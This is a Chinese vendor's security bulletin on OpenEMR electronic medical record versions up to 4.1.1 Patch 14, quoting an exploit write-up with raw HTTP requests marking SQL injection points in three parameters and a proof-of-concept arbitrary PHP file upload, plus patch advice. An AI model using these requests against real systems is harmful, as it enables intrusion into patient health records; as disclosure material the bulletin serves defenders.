当前位置: 首页 > 服务与支持 > 产品升级公告 > 安全漏洞公告

服务与支持Support

OpenEMR SQL注入漏洞

信息来源:xistence (xistence@0x90.nl)      发表日期:2013-09-18 17:27:00

OpenEMR是模块化的、HIPAA兼容的、开源、跨平台电子病历系统。

 

OpenEMR的interface/new/new_comprehensive_save.php脚本没有正确过滤 form_pubid参数输入值,在实现上存在SQL注入攻击,可使攻击者在后端数据库内注入或操纵SQL查询。

 

BUGTRAQ-ID:62365

受影响系统:

OpenEMR OpenEMR <= 4.1.1 Patch 14

 

测试方法:

警  告!以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!###################################################################################################################################

# Exploit Title: OpenEMR 4.1.1 Patch 14 Multiple Vulnerabilities

# Date: Sep 17 2013

# Exploit Author: xistence < xistence[at]0x90[.]nl >

# Vendor Homepage: www.open-emr.org

# Tested on: CentOS 5.9 32-bit

# Affected Version :  4.1.1 Patch 14 and lower

# Fix: Upgrade to OpenEMR 4.1.2

#

# Software details:

#

# OpenEMR is a Free and Open Source electronic health records and medical practice management application that can run on

# Windows, Linux, Mac OS X, and many other platforms. OpenEMR is ONC Complete Ambulatory EHR certified and is one of

# the most popular open source electronic medical records in use today. OpenEMR is supported by a strong community of

# volunteers #and professionals all with the common goal of making OpenEMR a superior alternative to its proprietary counterparts.

# The OpenEMR community is dedicated to guarding OpenEMR\'s status as a free, open source software solution for # medicalpractices

# and is dedicated to maintaining a spirit of openness, kindness and cooperation.

#

###################################################################################################################################

 

 

[ SQL Injection ]

 

[0x01] - The "authProvider" parameter in the "interface/main/main_screen.php" POST script is vulnerable to SQL Injection. A valid "authPass" password is needed before injection is possible (hash below is the default password "pass")

 

POST /openemr/interface/main/main_screen.php?auth=login&site=default HTTP/1.1

Host: <IP>

Referer: http://<IP>/openemr/interface/login/login.php

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 135

 

authProvider=Default\'[SQLi]&authUser=admin&clearPass=&languageChoice=1&authPass=9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684&authNewPass=

 

The POST request below could be used to retrieve passwords from other users and gain higher privileges (and after that upload a shell)

 

 

[0x02] - The "form_pubid" parameter in the "interface/new/new_comprehensive_save.php" script is vulnerable to SQL Injection.

 

POST /openemr/interface/new/new_comprehensive_save.php HTTP/1.1

Host: <IP>

Referer: http://<IP>/openemr/interface/new/new.php

Cookie: OpenEMR=blahblahblah

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 286

 

form_cb_1=1&form_title=Mr.&form_fname=pwned&form_mname=&form_lname=pwned&form_pubpid=[SQLi]&form_DOB=2013-07-15&form_sex=Female&form_ss=&form_drivers_license=&form_status=&form_genericname1=&form_genericval1=&form_genericname2=&form_genericval2=&form_cb_2=1&form_street=&form_city=&form_stat

 

 

[0x03] - The "set_pid" parameter in the "interface/patient_file/summary/demographics.php" script is vulnerable to SQL Injection.

http://<IP>/openemr/interface/patient_file/summary/demographics.php?set_pid=-1[SQLi]

 

 

[ Arbitrary file upload ]

 

[0x01] - It\'s possible to upload any file after being authenticated.

 

POST /openemr/interface/super/manage_site_files.php HTTP/1.1

Host: <IP>

Referer: http://<IP>/openemr/interface/super/manage_site_files.php

Cookie: OpenEMR=blahblahblah

Connection: keep-alive

Content-Type: multipart/form-data; boundary=---------------------------6745387234061449481375110870

Content-Length: 355

 

-----------------------------6745387234061449481375110870

Content-Disposition: form-data; name="form_image"; filename="pwned.php"

Content-Type: text/php

 

<?php phpinfo(); ?>

-----------------------------6745387234061449481375110870

Content-Disposition: form-data; name="bn_save"

 

Save

-----------------------------6745387234061449481375110870--

解决办法:安装厂商补丁

厂商补丁:

 

OpenEMR

-------

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

 

www.oemr.org

 

参考信息:

http://www.osvdb.org/97482